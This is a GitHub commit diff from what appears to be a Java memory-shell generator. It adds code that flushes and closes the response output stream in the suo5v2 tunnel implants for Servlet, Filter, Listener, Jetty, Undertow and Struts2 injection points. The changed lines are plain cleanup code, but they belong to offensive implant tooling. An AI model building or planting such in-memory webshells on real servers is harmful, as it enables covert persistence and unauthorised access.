Skip to content

Commit 52f82d7

Browse files
zema1ReaJason
authored andcommitted
fix: close response outputstream in suo5v2
1 parent d3727d7 commit 52f82d7

File tree

11 files changed

+55
-11
lines changed

11 files changed

+55
-11
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2.java

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -183,7 +183,11 @@ private void process(Object request, Object response) {
183183
}
184184
} catch (Throwable ignored) {
185185
} finally {
186-
186+
try {
187+
OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
188+
out.flush();
189+
out.close();
190+
} catch (Throwable ignore) {}
187191
}
188192
}
189193

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -162,7 +162,11 @@ private void process(ServletRequest request, ServletResponse response) {
162162
}
163163
} catch (Throwable e) {
164164
} finally {
165-
165+
try {
166+
OutputStream out = resp.getOutputStream();
167+
out.flush();
168+
out.close();
169+
} catch (Throwable ignored) {}
166170
}
167171
}
168172

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -167,7 +167,11 @@ private void process(ServletRequest request, ServletResponse response) {
167167
}
168168
} catch (Throwable e) {
169169
} finally {
170-
170+
try {
171+
OutputStream out = resp.getOutputStream();
172+
out.flush();
173+
out.close();
174+
} catch (Throwable ignored) {}
171175
}
172176
}
173177

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -179,7 +179,11 @@ private void process(ServletRequest request, ServletResponse response) {
179179
}
180180
} catch (Throwable e) {
181181
} finally {
182-
182+
try {
183+
OutputStream out = resp.getOutputStream();
184+
out.flush();
185+
out.close();
186+
} catch (Throwable ignored) {}
183187
}
184188
}
185189

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyCustomizer.java

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -216,7 +216,11 @@ private void process(Object request, Object response) {
216216
}
217217
} catch (Throwable ignored) {
218218
} finally {
219-
219+
try {
220+
OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
221+
out.flush();
222+
out.close();
223+
} catch (Throwable ignore) {}
220224
}
221225
}
222226

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -178,7 +178,11 @@ private void process(Object request, Object response) {
178178
}
179179
} catch (Throwable e) {
180180
} finally {
181-
181+
try {
182+
OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
183+
out.flush();
184+
out.close();
185+
} catch (Throwable ignored) {}
182186
}
183187
}
184188

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -173,7 +173,11 @@ private void process(ServletRequest request, ServletResponse response) {
173173
}
174174
} catch (Throwable e) {
175175
} finally {
176-
176+
try {
177+
OutputStream out = resp.getOutputStream();
178+
out.flush();
179+
out.close();
180+
} catch (Throwable ignored) {}
177181
}
178182
}
179183

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -161,7 +161,11 @@ private void process(ServletRequest request, ServletResponse response) {
161161
}
162162
} catch (Throwable e) {
163163
} finally {
164-
164+
try {
165+
OutputStream out = resp.getOutputStream();
166+
out.flush();
167+
out.close();
168+
} catch (Throwable ignored) {}
165169
}
166170
}
167171

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -164,7 +164,11 @@ private void process(ServletRequest request, ServletResponse response) {
164164
}
165165
} catch (Throwable e) {
166166
} finally {
167-
167+
try {
168+
OutputStream out = resp.getOutputStream();
169+
out.flush();
170+
out.close();
171+
} catch (Throwable ignored) {}
168172
}
169173
}
170174

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -164,7 +164,11 @@ private void process(Object request, Object response) {
164164
}
165165
} catch (Throwable e) {
166166
} finally {
167-
167+
try {
168+
OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
169+
out.flush();
170+
out.close();
171+
} catch (Throwable ignored) {}
168172
}
169173
}
170174

0 commit comments

Comments
 (0)